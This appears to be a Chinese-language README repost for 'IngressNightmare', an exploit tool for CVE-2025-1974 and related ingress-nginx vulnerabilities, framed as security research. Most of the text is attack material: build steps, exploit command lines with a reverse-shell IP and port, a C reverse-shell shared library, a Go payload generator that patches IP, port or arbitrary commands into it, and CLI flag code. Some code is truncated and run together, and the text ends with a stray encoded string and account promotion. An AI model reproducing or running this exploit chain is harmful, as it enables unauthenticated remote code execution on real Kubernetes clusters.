项目标题与描述
IngressNightmare是一个专门用于演示和验证Kubernetes Ingress-NGINX组件中CVE-2025-1974漏洞的利用工具。该漏洞允许远程攻击者在无需身份验证的情况下,通过向受影响的ingress-nginx安装发送特定请求来执行任意代码。
项目的核心价值在于:
- 完整复现了CVE-2025-1974漏洞的利用链
- 支持多种攻击模式:反向Shell、绑定Shell、命令执行
- 为安全研究人员提供学习和测试环境
- 帮助企业验证自身Kubernetes集群的安全性
功能特性
核心功能
- 多漏洞支持:不仅支持CVE-2025-1974,还支持相关的CVE-2025-24514、CVE-2025-1097、CVE-2025-1098等多个漏洞
- 多种攻击模式:
- 反向Shell连接(MODE_REVERSE_SH)
- 绑定Shell监听(MODE_BINDING_SH)
- 直接命令执行(MODE_CMD_EXECVE)
- 灵活的配置选项:
- 可自定义Ingress Webhook URL
- 可配置上传URL
- 支持详细日志输出
- 自动化攻击流程:自动完成恶意.so文件的上载和触发
技术特点
- 利用NGINX的client-body缓冲机制缓存恶意共享库
- 通过AdmissionReview注入
ssl_engine配置指令 - 触发
nginx -t命令加载恶意库实现RCE - 支持HTTP/HTTPS协议的自定义上传器
安装指南
系统要求
- Go 1.16+ 开发环境
- Kubernetes集群(用于测试)
- 受影响的Ingress-NGINX版本(< v1.11.0, v1.11.0-v1.11.4, v1.12.0)
构建步骤
- 克隆项目代码:
gitclone<项目仓库>cdingressnightmare- 安装Go依赖:
go mod download- 构建项目:
go build -o ingressnightmare main.go依赖项
项目依赖以下Go模块:
github.com/guonaihong/gout- HTTP客户端库github.com/sirupsen/logrus- 日志记录github.com/spf13/cobra- CLI框架k8s.io/api/admission/v1- Kubernetes Admission API
使用说明
基础用法
# 基本攻击命令./ingressnightmare exploit\--ingress-webhook-url"https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443"\--upload-url"http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80"\--reverse-shell-ip192.168.1.100\--reverse-shell-port4444攻击模式选择
# 使用auth-url攻击(CVE-2025-24514,默认)./ingressnightmare exploit --is-auth-url# 使用auth-tls-match-cn攻击(CVE-2025-1097)./ingressnightmare exploit --is-match-cn --auth-secret-name"kube-system/cilium-ca"# 使用mirror with uid攻击(CVE-2025-1098)./ingressnightmare exploit --is-mirror-with-uid配置选项详解
# 详细日志输出./ingressnightmare exploit --verbose2# 自定义端口范围扫描./ingressnightmare exploit\--pid-range-start1\--pid-range-end1000\--fd-range-start3\--fd-range-end1024# 仅执行特定阶段./ingressnightmare exploit --only-admission# 仅执行Admission Webhook攻击./ingressnightmare exploit --only-upload# 仅上传恶意.so文件核心代码
恶意共享库实现 (danger.c)
//go:build ignore#include<stdio.h>#include<unistd.h>#include<stdlib.h>#include<sys/socket.h>#include<netinet/in.h>#include<arpa/inet.h>// 编译命令: gcc -fPIC -o danger.so danger.c -shared// 自定义字符串比较函数intstrcmp(constchar*s1,constchar*s2){for(inti=0;s1[i]!='\0'||s2[i]!='\0';i++){if(s1[i]!=s2[i]){return1;// 返回1表示不相等}}return0;// 返回0表示相等}// 计算字符串长度intstrlener(constchar*str){inti=0;while(str[i]!='\0'){i++;}returni;}// 字符串复制函数voidstrcpy(char*dst,constchar*src){while(*src!='\0'){*dst=*src;src++;dst++;}*dst=*src;// 复制终止字符0x00}// 输出函数voidprinter(constchar*str){write(2,str,strlener(str));}// 解析十进制字符串为整数staticunsignedintparseDecimal(constchar**pchCursor){unsignedintnVal=0;charchNow;while(chNow=**pchCursor,chNow>='0'&&chNow<='9'){// 逐位处理数字nVal*=10;nVal+=chNow-'0';++*pchCursor;}returnnVal;}// 规范化IP地址格式(去除前导零)voidget_valid_ip(constchar*input_ip,char*output_ip){chartemp[4];intindex=0;constchar*p=input_ip;while(*p){if(*p=='.'){output_ip[index++]='.';p++;continue;}// 跳过前导零while(*p=='0'&&*(p+1)>='0'&&*(p+1)<='9'){p++;}inti=0;while(*p&&*p!='.'){temp[i++]=*p++;}temp[i]='\0';strcpy(output_ip+index,temp);index+=strlener(temp);}output_ip[index]='\0';}// 反向Shell主函数(代码片段)voidrev_shell(){char*server_ip="127.000.000.001";constchar*port_s="13337";printer(server_ip);printer("\n");printer(port_s);printer("\n");charoutput_ip[16];get_valid_ip(server_ip,output_ip);printer(output_ip);printer("\n");uint32_tserver_port=parseDecimal(&port_s);// 创建socket连接的代码(后续部分)}载荷生成器 (payload.go)
packagenginx_ingressimport("bytes""embed"log"github.com/sirupsen/logrus""strings")// 字节替换函数(自定义实现)funcbytesReplace(s,old,new[]byte,nint)[]byte{iflen(old)!=len(new){panic("bytes: unequal old and new byte slices! patched failed")}returnbytes.Replace(s,old,new,-1)}// 嵌入恶意共享库文件//go:embed danger.so danger.cvarevilLibraryFS embed.FSvarevilLibrary[]byte// 初始化函数funcInit(soData[]byte){evilLibrary=soData log.Tracef("Load evil so library. size: %v bytes, prefix: %v(%X)",len(evilLibrary),evilLibrary[:32],evilLibrary[:32])}// 获取默认的恶意共享库funcDefaultEvilLibrary()[]byte{evil,_:=evilLibraryFS.ReadFile("danger.so")returnevil}// 获取C语言源代码funcDefaultEvilLibraryC()string{evil,_:=evilLibraryFS.ReadFile("danger.c")returnstring(evil)}// 载荷类型定义typePayload[]byte// 攻击模式常量const(MODE_CHECK_FLAG="MODE_CHECK_FLAG"MODE_REVERSE_SH="MODE_REVERSE_SH"MODE_BINDING_SH="MODE_BINDING_SH"MODE_CMD_EXECVE="MODE_CMD_EXECVE")// 创建反向Shell载荷funcNewReverseShellPayload(tipstring,portstring)Payload{// 格式化IP地址部分(补零)varip[]stringfor_,part:=rangestrings.Split(tip,"."){iflen(part)==1{part="00"+part}elseiflen(part)==2{part="0"+part}ip=append(ip,part)}// 替换恶意库中的默认IP地址payload:=bytesReplace(evilLibrary,[]byte("127.000.000.001"),[]byte(strings.Join(ip,".")),1)// 格式化端口号(补零)switchlen(port){case1:port="0000"+portcase2:port="000"+portcase3:port="00"+portcase4:port="0"+portdefault:port=port}// 替换端口号和攻击模式payload=bytesReplace(payload,[]byte("13337"),[]byte(port),1)payload=bytesReplace(payload,[]byte(MODE_CHECK_FLAG),[]byte(MODE_REVERSE_SH),1)returnpayload}// 创建绑定Shell载荷funcNewBindShellPayload(portstring)Payload{// 格式化端口号switchlen(port){case1:port="0000"+portcase2:port="000"+portcase3:port="00"+portcase4:port="0"+portdefault:port=port}// 替换端口号和攻击模式payload:=bytesReplace(evilLibrary,[]byte("31337"),[]byte(port),1)payload=bytesReplace(payload,[]byte(MODE_CHECK_FLAG),[]byte(MODE_BINDING_SH),1)returnpayload}// 创建命令执行载荷funcNewCommandPayload(commandstring)Payload{// 命令长度限制检查iflen(command)>510{returnnil}// 构建命令字符串(填充到512字节)cmd:=[]byte(command+" #")cmd=append(cmd,bytes.Repeat([]byte{0x41},512-len(cmd))...)// 替换恶意库中的命令部分payload:=bytesReplace(evilLibrary,[]byte("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"),[]byte(cmd),1)// 设置攻击模式payload=bytesReplace(payload,[]byte(MODE_CHECK_FLAG),[]byte(MODE_CMD_EXECVE),1)returnpayload}主命令行接口 (main.go)
packagemainimport("fmt""net""os""strings"log"github.com/sirupsen/logrus""github.com/spf13/cobra"nginx_ingress"ingressnightmare/nginx-ingress")// 全局配置选项varOpts=struct{ModestringIngressWebhookUrlstringUploadUrlstringVerboseintDryRunboolReverseShellIp net.IP ReverseShellPortuint16BindShellPortuint16CommandstringPidRangeStartintPidRangeEndintFdRangeStartintFdRangeEndintOnlyAdmissionboolOnlyAdmissionFilePathstringOnlyUploadboolnginx_ingress.ExploitMethod SoFilestringValidateJsonTemplatestring}{}// 默认Pod IP获取函数funcdefaultPodIp()net.IP{interfaces,_:=net.Interfaces()for_,i:=rangeinterfaces{ifi.Name=="eth0"{addrs,_:=i.Addrs()ifaddrs!=nil||len(addrs)>0{ip:=strings.Split(addrs[0].String(),"/")[0]returnnet.ParseIP(ip)}}}returnnet.ParseIP("10.0.0.1")}// 初始化命令行标志funcinit(){// 设置目标参数ExpCmd.Flags().StringVarP(&Opts.IngressWebhookUrl,"ingress-webhook-url","i","https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443","ingress webhook url")ExpCmd.Flags().StringVarP(&Opts.UploadUrl,"upload-url","u","http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80","upload url")// 设置漏洞利用方法选择ExpCmd.Flags().BoolVarP(&Opts.IsAuthURL,"is-auth-url","a",true,"CVE-2025-24514: using auth-url to attack (default)")ExpCmd.Flags().BoolVarP(&Opts.IsAuthTLSMatchCN,"is-match-cn","A",false,"CVE-2025-1097: using auth-tls-match-cn to attack (not default)")ExpCmd.Flags().StringVarP(&Opts.AuthSecret,"auth-secret-name","U","","if using auth-tls-match-cn, secret name is required, example: kube-system/cilium-ca")ExpCmd.Flags().BoolVarP(&Opts.IsMirrorWithUID,"is-mirror-with-uid","M",false,"CVE-2025-1098: using mirror with uid")// 注意:这里应该有互斥标志的设置,但代码片段被截断}// 主要命令定义(代码后续部分)该工具展示了针对Kubernetes Ingress-NGINX组件的高危漏洞的完整利用链,从恶意共享库的制作到自动化攻击流程的实现,为安全研究人员提供了深入理解该漏洞的技术细节。
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ7vma9L22CBtfiNUmVsubKS
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)